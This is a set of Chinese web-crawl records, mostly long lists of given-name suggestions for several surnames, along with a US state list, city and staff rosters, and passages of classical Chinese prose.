文妍薇 文樱雅 文茜雅 文莉娜 文露 文蓉蓉 文艳莲 文若琼 文思瞿 文若蒴 文睿萱 文可欣 文淩 文琳 文玲 文亦垚 文秋垚 文俪垚 文秋瑾 文秋瑾 文艺馨 文芸茜 文富玲 文立平 文诗媛 文磬菲 文咏琳 文咏霖 文咏珊 文静琳 文静盈 文泳姚 文咏姚 文可姚 文可瑶 文可盈 文子盈 文苑琳 文苑淇 文雅盈 文茜瑶 文茜琳 文家琳 文盈 文江波 文芯嫣 文阚尹 文汀萩 文钚嵋 文馨今 文芯菡 文娟焊 文若嫣 文立娟 文荻佳 文蓝亓 文璐帆 文江帆 文蓉炙 文俊秀 文鹏兰 文菊涵 文璟涵 文娅涵 文恬涵 文筱涵 文纹 文铄涵 文纹涵 文涵铄 文镁涵 文媚涵 文涵缘 文絮涵 文锶涵 文梦萱 文嘉楠 文旭涵 文娅楠 文逸欣 文逸熙 文逸兴 文逸心 文逸星 文逸馨 文镬娇 文涵纹 文子悦 文茜璐 文子铭 文熠冉 文逸然 文诗逸 文逸阳 文逸可 文若凝 文易乐 文纹玲 文纹媚 文宇芸 文泺涵 文妍茹 文纹钰 文怡瑞 文怡哲 文裕哲 文语哲 文玥希 文艺锦 文亚宇 文箐瑶 文菁瑶 文婧瑶 文诗茹 文云宗 文煜馨 文婧辰 文婧晨 文贝晨 文亦菲 文艺彤 文翊菡 文培婷 文萁雯 文宇祺 文晓艳 文昱惠 文雅倩 文如倩 文晓薇 文慕云 文采薇 文毓偲 文晓蕾 文雨薇 文可清 文琼戈 文芷昕 文琳昕 文昕雨 文荣凡 文雅荣 文泽帆 文泽凡 文闵灵 文汐凡 文凡又 文馥凡 文乐凡 文墨书 文雅如 文新如 文欣如 文娅茗 文思齐 文雅茹 文鑫玉 文妙珂 文诗苓 文卉彗 文诗茹 文琳艳 文琬滢 文芝蕴 文荻依 文灵琳 文尼滢 文苹烁 文锦莎 文俪莎 文红梅 文小凤 文新密 文国馨 文娴静 文伶苑 文芙弗 文鳗蕾 文寐珏 文茹越 文偌芸 文书乔 文钰婷 文馨镶 文茜婴 文雅娴 文碧岑 文涵颖 文涵喜 文涵萱 文涵菀 文碧葶 文嫩劬 文梓芹 文岑鹦 文馨藩 文芊雯 文淇 文昕涵 文琇膤 文紫冉 文誉菡 文紫玥 文涵絮 文宝尹 文依恋 文锶恋 文茁然 文锶然 文钒 文涵锐 文金涵 文钇彤 文钇沫 文锶乐 文锶妍 文铱妍 文芷菁 文宝欣 文彤欣 文铱欣 文铱惠 文铱缘 文钰萌 文铱茨 文钰菁 文钰丹 文铱霄 文铱彤 文絮喆 文絮淑 文铱 文若彤 文铱浴 文锶滢 文铱滢 文铱铱 文锶源 文铱妮 文钰铱 文铱淼 文铱乐 文钰缦 文铱梦 文铱浛 文铱漩 文钰漩 文铱凌 文钰沫 文铱雪 文伊然 文梓嫣 文思匍 文艺 文菁 文小千 文小金 文诗佳 文婷婷 文玫苑 文篮萩 文丽霞 文诗雯 文悦文 文悦怡 文静如 文艳如 文如一 文如悦 文悦倩 文悦汝 文悦如 文雅锐 文霓艺 文葭俐 文蓝瀵 文丹寐 文出梦 文赡静 文月淇 文坝婷 文朵颍 文艳茹 文艳霞 文丹苗 文丹叙 文麒涵 文若猿 文茉裳 文湄苹 文琴蓉 文阼葭 文陇雪 文缆蕊 文菡丹 文婷慧 文雅渝 文心渝 文颢霖 文俪岚 文俪山 文雨嘉 文艺涵 文芯茹 文美琳 文碧春 文權顺 文姣 文小玲 文玉园 文芷瑩 文妲 文莲 文池 文丽曼 文芝秀 文之秀 文芯茹 文成芳 文梓平 文梓萍 文心仪 文其美 文娅婷 文冰琳 文凤严 文凤琳 文炯岚 文艺雅 文艺萍 文艺华 文艺婷 文雅芝 文艳雅 文雅琳 文雅丽 文晓华 文艺森 文晓春 文晓婷 文晓萍 文艳珊 文雨瑶 文颡程 文彩艳 文国艳 文彩华 文彩华 文彩华 文彬洁 文紫芝 文静 文锣铭 文丽智 文曼漪 文漫漪 文泠然 文天瑜 文天雨 文天雅 文天钰 文佩 文沛 文蕴缨 文艳宇 文悠然 文梅 文新会 文德彩 文瑕瞳 文薇刁 文滢丁 文舒兰 文舒兰 文晨馨 文紫馨 文子馨 文梓馨 文东妹 文月华 文思峄 文昱璇 文琦荣 文依莎 文梦珊 文梦莎 文科 文阔 文阔 文欧祥 文欧翔 文欧莎 文欧珊 文潇瑾 文芯悦 文婧茹 文君 文红梅 文红 文桂芳 文姗姗 文可昕 文结莹 文结莹 文淑娥 文怡 文青 文清 文紫函 文孜函 文凤娟 文蒋菀 文穗莎 文琳清 文健双 文雨宁 文梓丁 文欣 文欣燃 文雪丹 文蘩媛 文岑丹 文岑月 文于昕 文蘩竺 文丹彤 文月谷文温淳文洁淳 文雯淳 文绿淳 文爱潼 文爱淳 文珍珍 文浩蓉 文文一 文东美 文明霞 文鹦湄 文蓝娇 文曼荫 文瑾萱 文莺侃 文芦彗 文莺裳 文菡俪 文玫菡 文婧嫱 文蕴炉 文芊茜 文美二 文丽月 文亭惠 文赵琴 文赵翼 文赵蓟 文赵蔓 文赵燮 文赵晴 文赵娇 文赵莺 文赵俪 文赵若 文琼婉 文辕妮 文蕾蕊 文思禽 文樱菽 文呈逍 文贞璎 文謦墨 文诗敏 文芙苓 文屉敏 文严茹 文俪颍 文嫣鳙 文雅庞 文琼俪 文蝶莺 文丹杏 文戆楠 文蕖嫣 文茂妮 文茂丽 文茂力 文黄静 文爱静 文伊静 文意静 文静意 文静忆 文静娅 文静伊 文旖静 文静旖 文静怡 文美静 文梦妮 文凌薇 文紫琪 文楠楠 文恋祯 文恋亓 文恋瑛 文莲尽 文霞误 文贝於 文翡翌 文顷妤 文铱璐 文一在 文一朵 文一二 文妤桐 文鹊茱 文婧辰 文菡忆 文冬冬","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.mingzi.cn\/nanhai\/451288.html","date":"2018-10-20T18:16:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513009.81\/warc\/CC-MAIN-20181020163619-20181020185119-00302.warc.gz","language":"lzh","language_score":0.8691926003,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8691926002502441, \"cmn_Hani_score\": 0.07920700311660767, \"yue_Hani_score\": 0.03679075092077255, \"jpn_Jpan_score\": 0.010262778028845787}","num_words":527,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.882,"perplexity_score":500.0,"cluster_detection":1} +{"text":"50个他们是: 阿拉斯加州 AK 阿拉巴马州 AL 阿肯色州 AR 亚利桑那州 AZ 加利福尼亚州 CA 科罗拉多州 CO 康涅狄格州 CT 特拉华州 DE 佛罗里达州 FL 佐治亚州 GA 夏威夷州 HI 依阿华州 IA 爱达荷州 ID 伊利诺州 IL 印第安那州 IN 堪萨斯州 KS 肯塔基州 KY 路易斯安那州 LA 麻萨诸塞州 MA 马里兰州 MD 缅因州 ME 密执安州 MI 明尼苏达州 MN 密西西比州 MS 密苏里州 MO 蒙大拿州 MT 北卡莱罗纳州 NC 内布拉斯加州 NE 北达科他州 ND 新罕布什尔州 NH 新泽西州 NJ 新墨西哥州 NM 内华达州 NV 纽约州 NY 俄亥俄州 OH 俄克拉荷马州 OK 俄勒冈州 OR 宾西法尼亚州 PA 罗得岛州 RI 南卡来罗纳州 SC 南达科他州 SD 田纳西州 TN 德克萨斯州 TX 尤他州 UT 弗吉尼亚州 VA 佛蒙特州 VT 华盛顿州 WA 威斯康星州 WI 西佛吉尼亚州 WV 怀俄明州 WY\n美国一共有多少个州?都叫什么名字?\n内容版权声明:除非注明,否则皆为本站原创文章。","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/ekrist.net\/jiefeixuncheng\/95.html","date":"2019-07-22T09:44:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527907.70\/warc\/CC-MAIN-20190722092824-20190722114824-00107.warc.gz","language":"lzh","language_score":0.5331549048,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5331549048423767, \"cmn_Hani_score\": 0.38384920358657837, \"nan_Hani_score\": 0.03963780030608177, \"wuu_Hani_score\": 0.03555334731936455}","num_words":103,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.774,"perplexity_score":500.0,"cluster_detection":1} +{"text":"漠人请进!\n唐靖 唐冰 唐贝 唐明 唐嘉 唐洋 唐亚 唐杰 唐畅 唐曦 唐薇 唐仁 唐玮 唐莹 唐琴 让它飞 唐瑜 唐宁 唐榛 唐幸 唐军 西塘 唐彬 唐棠 唐燕 唐娜 唐倩 唐莉 唐毅 唐云 唐邢 并步跳 唐逑 唐黎 唐辰 唐伟 唐智 唐菲 唐暄 唐玥 唐梅 唐妍 唐文 唐兴 唐励 唐诚 唐巍 唐松 唐蜜 唐茵 唐玉 唐芳 唐冉 唐婵 唐淼 唐峥 唐敏 唐俊 唐钰 唐睿 唐斌 唐静 唐进 唐屏 唐聪 唐健 唐群 运行于一般的PC机上 苏·汤森 唐果 唐永 唐林 唐琨 唐珏 唐键 唐黛 通泽 唐青 唐艳 唐萍 发出铿锵声 唐骏 唐婞 唐超 唐钊 唐灵 唐菊 唐飞 唐琪 唐洁 唐婧 唐沁 唐杏 唐舸 唐缘 唐溢 唐宇 唐坷 唐未 唐然 唐浩 唐直 唐雪 唐丽 唐颖 唐琳 唐悦 唐英 唐媛 唐明朗 温心汤 一组 唐嘉禹 唐诠青 唐紫璇 唐逸菲 唐绍菡 唐贤桂 唐利人 唐振人 唐晓雁 唐雨希 唐登菊 唐雯希 唐士峰 唐钦乐 唐阿咪 唐克金 唐炜业 唐钧儒 唐国晓 唐道凤 唐凡高 唐嘉祥 唐文艳 唐一博 唐睿豪 唐芳园 唐永胜 唐芯林 唐钱明 唐丽佳 唐子晋 唐尉晖 唐木子 唐梦琪 唐博强 唐庆昊 雅娟堂 唐婧捷 唐慧洁 唐远梅 唐孝英 义文堂 唐韩颖 唐梦颖 凶手琴 唐靓颖 唐雯琳 唐月媛 唐亚芬 唐海霞 艾方堂 蒲塘 小李唐 唐牧妍 唐萤雪 唐怡容 唐金英 唐宇婷 唐筱妍 唐霞琴 唐婉莹 唐宏文 唐新玲 唐碧燕 严梅塘 唐誉茹 唐偲瑶 唐雪英 唐艺洁 唐秋蓉 唐吉娥 唐新娟 唐凡婷 唐怡欣 唐荔娜 唐久婷 唐诗的妹 汤爱萍 唐植芳 唐雨婷 唐媛莹 唐心怡 强烈的味道或气味丽 唐雯丽 唐春英 唐梦婷 唐昌富 唐小时 唐嘉锡 唐嘉沣 唐军峰 唐大江 唐嘉铠 唐诠清 唐明硕 唐逸翡 唐若萱 唐俞晴 唐萧风 唐兹凯 唐晨希 唐国桓 唐天荣 唐铭杞 唐雨晨 唐圣惟 唐皓天 唐科峰 伟丰唐 唐振洋 唐伦祥 唐箫谣 唐晓华 唐智勇 唐笑天 唐伟晨 唐玮黛 唐墨炜 唐晓丰 唐加荣 唐芳圆 唐珏颍 唐忠昀 唐建平 长青堂 唐仁桂 唐子暄 家民塘 雪芳塘 唐仁辉 唐晟恩 唐博猛 唐晟奚 唐微欢 唐千笑 唐君丽 唐桂英 唐东琼 唐卿莹 唐涵颖 唐莉萱 唐湘琴 唐熙媛 唐雪媛 唐银红 唐极好的 唐春玲 唐语艳 唐娴玉 唐咏霞 唐金萍 唐炳琼 唐倩倩 唐思蓉 明月堂 小芳唐 唐悦珊 唐振霞 唐凤琳 唐卓妍 唐佩蓉 唐子怡 唐学艳 唐洁洁 瑞学校 唐楣蓉 唐克燕 嘉岳塘 唐修芳 唐依婷 唐彩文 唐仙妹 唐荣莉 唐如玉 唐玲灵 唐渝婷 唐华芬 唐秀玲 唐月霞 唐思萍 唐佑娥 唐美艳 苏文堂 唐紫萱 唐彬漪 唐雨萱 唐赞美了这本书。 唐昌进 唐朝勤 秀华塘 唐云希 唐颖娇 唐伟兵 唐国恒 唐海洋 唐昊天 唐弼晗 唐义朋 唐伯虎 唐道风 唐小禹 唐庆霖 唐伟珺 唐玮彤 唐韫凯 明永唐 唐彦博 方元汤 唐嘉荥 湾碧塘 唐艺宁 唐家敏 唐博睿 唐忠强 唐泽黛 唐博宇 唐家梵 唐玉秋 唐湫漓 唐敬备 春颜堂 唐李钰 唐钦悦 坪塘 唐诗咏 西塘怡 唐辰颖 唐章玲 唐小芳 小夏塘 唐梦雪 唐小琼 易冉塘 唐宇艳 唐玉燕 唐莹绮 保灵汤 文李唐 唐雯艳 唐辰妍 唐妍雪 唐妍珊 凶手丽 唐宣艳 海华塘 唐蓉蓉 唐敏红 唐焕文 唐成蓉 唐睿雪 唐美蓉 唐菊芬 唐怡舟 唐童瑶 唐婷玙 唐桂芳 唐周萍 蜀胡安汤 唐少玲 唐千倩 唐瑜婷 唐尚文 唐悦倪 唐小娥 唐诗燕 唐天燕 唐雅倩 唐鑫瑶 唐子轩 唐嘉阳 文浩汤 唐婼萱 唐彬弼 唐晓波 唐诗雨 唐珏林 唐梦言 唐潮勤 唐晓雄 唐孟刚 唐家康 唐士宏 唐颖希 唐嘉铭 唐郝然 唐钰辉 唐金辉 唐永强 唐家武 唐艳晶 唐中柏 健林堂 唐一菱 唐小宇 唐伟琛 西塘彤 唐煜程 唐林江 唐悟非 唐璨灿 唐若水 唐夏颍 唐佛南 唐今夫 唐承桂 唐萧暄 家民塘 唐睿博 唐景汉 唐建蒙 唐祥童 唐兆忠 唐若嫣 小燕塘 唐钦玥 唐婉婷 唐铭玥 唐诗莹 唐李娜 唐念芬 唐曼颖 洪梅塘 胡安唐燕 小梅塘 唐宇嫣 志文堂 唐如莹 唐碧莹 唐萤琼 唐溶婧 唐雯燕 唐晨妍 唐妍旎 唐妍玙 唐温颖 唐少丽 唐倩茹 东梅塘 唐宝燕 唐丽娅 唐方文 唐郡婷 唐秀丽 唐成英 唐雪茹 郭文堂 西塘瑶 唐程瑶 唐乙丑 锦玉堂 唐祎花 唐亚红 唐伊琳 唐诗瑶 唐莹颍 唐湘琳 唐熙文 唐春梅 唐茂玲 唐昕瑶 智林塘 唐语轩 唐伟翔 唐子霜 唐彬斐 唐子静 唐子奕 唐海杰 唐国峰 凶手一 唐羽希 唐语洋 唐昌斌 唐金全 唐华成 唐长发 唐饶华 通泽香 唐康强 唐御轩 唐雅珍 唐军民 唐钰清 唐雯恬 唐誉诚 唐淑容 唐若拙 唐珑仁 唐汀露 唐春园 唐承贵 唐凡惠 凶手敏 唐嘉闵 唐永锵 唐黛彤 唐银珠 唐饶祎 唐兆柱 唐紫婧 克丽茜 汤金华 唐海鹰 唐鸣美 唐语琴 唐妙倩 唐莉佳 吉洪汤 唐冬颖 唐镭文 文李唐 川香汤 雪芳塘 唐亚玲 唐琳骁 唐雨燕 唐远蓉 唐梓莹 唐文莹 唐萤莹 唐楚婷 唐汶燕 唐妍芳 艳夏塘 唐琴姝 唐瑶琪 唐兰芳 唐敏媛 唐婷娜 唐韶颖 唐传莉 唐洁怡 唐绘洁 唐睿琳 唐四红 唐琦媛 唐彩婷 凶手颖 唐雅洁 唐珏玉 唐春红 唐祎梅 育婴堂 唐永倩 唐群英 唐伟丽 唐瑞丽 唐婧韵 唐怡琳 唐雅琳 唐谩文 唐文芯 汤晓斌 智海棠 唐可芯 唐嘉隅 唐金伦 唐紫霜 唐彬翊 唐晨栩 唐智民 唐整齐的 唐帅冲 唐全锋 唐文琦 唐语阳 唐雯雯 闫丰唐 唐朝女性拔出 唐鼎革 唐飞昊 唐扬炸鸡群 唐灏天 唐炳森 唐兆勇 唐伦强 唐逸轩 唐嘉蔚 唐双凤 唐梅新 唐墨烨 唐羽鑫 唐晓风 唐绘捷 明辉塘 唐嘉忻 唐秀林 唐绪平 唐毓蔓 凶手珉 唐久琦 唐煜博 唐闻沁 唐小晏 唐紫嫣 唐水英 唐淑琼 唐崇文 于秦唐 唐雯莉 唐怡灵 唐诺娜 唐晨莹 唐严婧 文娟堂 唐一琳 雪芳塘 唐翠红 唐洪雁 唐子娟 唐振玉 本文堂 唐睦妍 唐莹萤 唐志艳 唐汶艳 唐怡澜 唐纬霞 唐雨瑶 唐浩文 唐琦玲 唐娅雪 唐邵颖 唐传玉 唐玉莹 唐晓玲 唐慧琼 汤亚玲 唐曼瑛 唐品婷 唐绍娟 唐名娟 唐潇玥 唐小娅 唐吉琼 小唐胡安 唐祎雪 唐婧雅 唐巧萍 唐悦绮 唐汇洁 唐炳文 唐思洁 唐敏玉 唐嘉谦 小荣塘 唐语庭 唐发明 唐嘉键 唐晓辰 唐明轩 唐诗菡 唐也鹦 唐笛宵 唐照环 唐甲一 唐咏希 唐盘生 唐文瑞 唐晓波 余坪塘 唐海鹰 唐铁根 唐仁伍 唐炜情 唐忠柏 唐航行 唐铭蔚 唐家祥 唐煜诚 唐步步 唐煜嘉 唐怀志 唐清忠 运行于一般的PC机上胜 唐林芯 唐芳索 唐李明 唐雪兰 唐萧阳 唐嘉珉 唐伯春 唐严伟 唐安龙 唐洪波 唐金冷 唐紫菡 唐闻幻 唐婼妍 唐雪丽 唐丽娟 唐良悦 唐永红 唐雅莉 唐灵琴 唐吉红 唐可颖 唐依琳 唐先英 唐若英 鸿文堂 清红汤 凶手芳 秀梅塘 唐悦婷 唐慕妍 唐萤琳 唐佩瑶 唐文艳 唐丽芳 唐晓蓉 唐昱燕 唐忠玲 唐慧芬 唐琪玲 唐展婷 唐菲丽 唐伟媛 西塘莹 唐宋玲 唐睿莹 唐碧英 唐悦帏 唐义文 唐琬婷 唐礼英 唐文蓉 唐溥文 唐一美 小唐胡安 唐健美 唐丽琼 唐迎霞 唐怡廷 唐志英 唐雨颖 唐琼燕 唐雪梅 唐李凤 唐子翊 唐彬逸 唐鹏展 唐旭彤 唐宇泉 卫华塘 唐小雁 唐晨曦 唐雯汐 唐超蓝 唐鼓励 唐敬言 唐浩天 唐旭伟 唐李小龙 唐庆国 唐妤渲 唐一棱 唐祖国 唐慎河 唐羽煊 唐聪聪 唐方园 唐倬颍 唐世记 唐斯亮 唐子朔 唐龙桂 唐暄萧 唐嘉民 唐铭泽 唐新杰 唐昌明 唐思轩 唐须莫 唐睿哲 唐秀花 唐海燕 唐莹绣 唐佩怡 唐悦颖 唐莉芸 唐李艳 唐煜婷 唐义梅 唐梅婷 唐子芳 唐骏琳 唐湘茹 唐穆妍 唐萤娟 唐桂梅 魏文堂 唐嘉怡 唐筱蓉 唐旻玉 惠李唐 唐桂妹 唐赫婷 唐乐冉 虹影唐 唐蕴红 唐明艳 唐俸萍 春李唐 唐艺玲 唐驿文","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.zkkwgro.com\/uedbetty\/1048.html","date":"2019-09-16T09:20:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572516.46\/warc\/CC-MAIN-20190916080044-20190916102044-00469.warc.gz","language":"lzh","language_score":0.9556575418,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9556575417518616, \"wuu_Hani_score\": 0.03892282769083977}","num_words":819,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":500.0,"cluster_detection":1} +{"text":"我們可以為您做什么?\n_____\nPRODUCTS SERVICESHELLO!\n已開通可執行城市\nExecutable cities!\n我們正在做什么?\nWHAT ARE WE DOING\n廣州 上海 北京 深圳 天津 成都 鄭州 南京 沈陽 江西 蘇州 武漢 杭州 青島 重慶 長沙 西安 濟南 濟寧 岳陽 洛陽 綿陽 常德 南陽 太原 無錫 南寧 常州 揚州 長春 東莞 佛山 珠海 中山 惠州 合肥 南昌 昆明 滄州 唐山 貴陽 ??? 蘭州 大連 臨沂 棗莊 紹興 蕪湖 泰安 保定 邢臺 淮南 渭南 淄博 徐州 福州 廈門 吉林 溫州 煙臺 寧波 金華 臺州 宜昌 嘉興 哈爾濱 牡丹江 石家莊 齊齊哈爾 潮州 濰坊 甘肅 菏澤","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.xgraja.com.cn\/","date":"2019-09-15T09:48:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514571027.62\/warc\/CC-MAIN-20190915093509-20190915115509-00117.warc.gz","language":"lzh","language_score":0.7829766273,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.7829766273498535, \"nan_Hani_score\": 0.13150987029075623, \"cmn_Hani_score\": 0.08438994735479355}","num_words":83,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.712,"perplexity_score":500.0,"cluster_detection":1} +{"text":"久顺团队 合伙人 陆费红 徐志良 ?王宇 执业律师 薛丽娜 周大伟 申延志 赵丹凤 李世奇 ?周兰兰 ??褚小萍 ?吕义然 ?吴芸 邰梦圆 周静芬 徐诗茗 陈郭 许倩 ?张清溪 ?金锡铜 ?陈璐 ? 实习律师 周丽 邢瑶 秦悦 ?孟淑 ?宋文恬 ?","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/smzhengtie.tw\/index$page_id=89.htm","date":"2020-01-22T16:23:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250607314.32\/warc\/CC-MAIN-20200122161553-20200122190553-00033.warc.gz","language":"lzh","language_score":0.6829578876,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6829578876495361, \"yue_Hani_score\": 0.15528301894664764, \"aln_Latn_score\": 0.050265487283468246, \"und_Sinh_score\": 0.04411955177783966, \"cmn_Hani_score\": 0.03202918544411659, \"und_Grek_score\": 0.01818035915493965}","num_words":29,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.347,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.683,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n崔晓晨 崔雨婷 崔笑笑 崔嘉迅 崔娇娇 崔新宇 崔悦君 崔晓轩 崔以辰 崔思悦 崔洋 崔俐 崔宝儿 崔好 崔雪 崔晓婷 崔冰 崔景新 崔菲菲 崔明轩 崔明哲 崔明宇 崔明慧 崔明旭 崔明成 崔明晨 崔明亮 崔明鑫 崔明智 崔明卯 崔明杰 崔明锋 崔明松 崔明勇 崔明龙 崔明昌 崔明浩 崔明聪 崔明琛 崔明懿 崔明博 崔明希 崔明德 崔明熙 崔明鹏 崔明佑 崔明俊 崔明宪 崔明俊 累死我了···希望对你有所启发 不管我起的好不好 ~~~加油~~~ 崔明礼(明礼、好学、慎思、笃行)崔明政 崔明依 崔明朋 崔明德(惟馨完美的德性才是芳香清醇的)崔明震","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.0871fm.net\/9992019yinheguoji\/2019\/1015\/66.html","date":"2020-04-06T16:01:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371637684.76\/warc\/CC-MAIN-20200406133533-20200406164033-00380.warc.gz","language":"lzh","language_score":0.7406294346,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7406294345855713, \"cmn_Hani_score\": 0.25748106837272644}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.724,"perplexity_score":500.0,"cluster_detection":1} +{"text":"吉祥体育网易云音乐与滚石达成战略合作各大平台版权争夺持续深入\n孔子要绖,季氏飨士,孔子与往。阳虎绌曰:\"季氏飨士,非敢飨子也。\"孔子由是退。\n十六年,伐楚,取鲁阳。武侯卒,子立,是为惠王。\n夫摓策定数,灼龟观兆,变化无穷,是以择贤而用占焉,可谓圣人重事者乎!周公卜三龟,而武王有瘳。纣为暴虐,而元龟不占。晋文将定襄王之位,卜得黄帝之兆,卒受彤弓之命。献公贪骊姬之色,卜而兆有口象,其祸竟流五世。楚灵将背周室,卜而龟逆,终被乾谿之败。兆应信诚於内,而时人明察见之於外,可不谓两合者哉!君子谓夫轻卜筮,无神明者,悖;背人道,信祯祥者,鬼神不得其正。故书建稽疑,五谋而卜筮居其二,五占从其多,明有而不专之道也。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原\n怀公从晋来。享国四年。葬栎圉氏。生灵公。诸臣围怀公,怀公自杀。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/app.xaxcjx.com\/appflltl\/7334934.html","date":"2020-04-01T09:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505550.17\/warc\/CC-MAIN-20200401065031-20200401095031-00146.warc.gz","language":"lzh","language_score":0.4640325606,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4640325605869293, \"cmn_Hani_score\": 0.3004346489906311, \"nan_Hani_score\": 0.0865170955657959, \"wuu_Hani_score\": 0.040321074426174164, \"zxx_Latn_score\": 0.017453186213970184, \"yue_Hani_score\": 0.014354463666677475}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.349,"perplexity_score":500.0,"cluster_detection":1} +{"text":"浙江福连升老北京布鞋、休闲鞋品牌加盟店信息和浙江鞋店加盟方法介绍。\n榆林 府谷 陕西 江西 赣州 金山区 上海 河南 周口 湖南 常德 渝北 重庆 山东 德州 内蒙古 赤峰 会昌 辽宁 葫芦岛 湖北 宜昌 愉林 河北 临章 邯郸 西藏 那曲 比如 泡脚的好处","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.fuliansheng.com\/tags.php?\/133\/","date":"2021-01-22T23:03:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703531429.49\/warc\/CC-MAIN-20210122210653-20210123000653-00676.warc.gz","language":"lzh","language_score":0.5017668009,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5017668008804321, \"cmn_Hani_score\": 0.49446848034858704}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.502,"perplexity_score":500.0,"cluster_detection":1} +{"text":"梁兴诚 梁昊霏 梁小淇 梁美蕾 梁承军 梁家瑞 梁宬杰 梁家彭 梁一益 梁礼宇 梁国湘 梁满鹏 梁文鹏 梁金雨 梁淳民 梁熙铫 梁博生 梁闻乐 梁贻辰 梁旭淦 梁海谦 梁经涵 梁玥圣 梁凯嘉 梁志鹏 梁铂信 梁瀛涛 梁伟林 梁宏宁 梁新昆 梁家博 梁洪峰 梁戍辉 梁建沫 梁松晨 梁振彦 梁渊韵 梁贺伟 梁邦文 梁宸华 梁泛波 梁金洋 梁意志 梁子鹏 梁贵鑫 梁博霖 梁忠巍 梁祥国 梁镔杰 梁伽杰 梁思文 梁哲建 梁子祥 梁立博 梁镡佑 梁本佳 梁铭昌 梁绍琼 梁永泳 梁韬和 梁国铭 梁狗杰 梁骄洋 梁领霄 梁龙鑫 梁祉勇 梁利中 梁全允 梁秉光 梁根平 梁俊耀 梁升严 梁心天 梁晓彤 梁悦轩 梁家京 梁曦凯 梁福锋 梁灿永 梁子鸿 梁浩琨 梁耀宇 梁张晖 梁富策 梁涵楸 梁永文 梁歆吉 梁建洋 梁思彬 梁嘉年 梁珺佳 梁小贵 梁嘉涛 梁浩林 梁鲲萱 梁思枫 梁佳峰 梁宏凰 梁小明 梁焕玮 梁诗杰 梁大佳 梁雪淇 梁润源 梁鑫尚 梁月林 梁文胜 梁聿涛 梁子桐 梁显峰 梁佳兵 梁艳炜 梁博棂 梁阳锡 梁来岁 梁萦岩 梁诚宇 梁汐林 梁安旭 梁秦清 梁林骏 梁海国 梁永军 梁玖杰 梁汉松 梁家思 梁振毅 梁子钧 梁卫礼 梁景谊 梁珏涛 梁弘涵 梁运连 梁锐运 梁陇生 梁加涵 梁巧胤 梁记林 梁景增 梁增一 梁正滦 梁凤铭 梁仁珏 梁天军 梁海成 梁家林 梁教师 梁晨淼 梁驿杰 梁敏俊 梁宏辉 梁星毅 梁忠多 梁家豪 梁安浩 梁凯玉 梁政泽 梁培茗 梁凌淇 梁钰飞 梁鸿华 梁伦宇 梁正和 梁文民 梁默涛 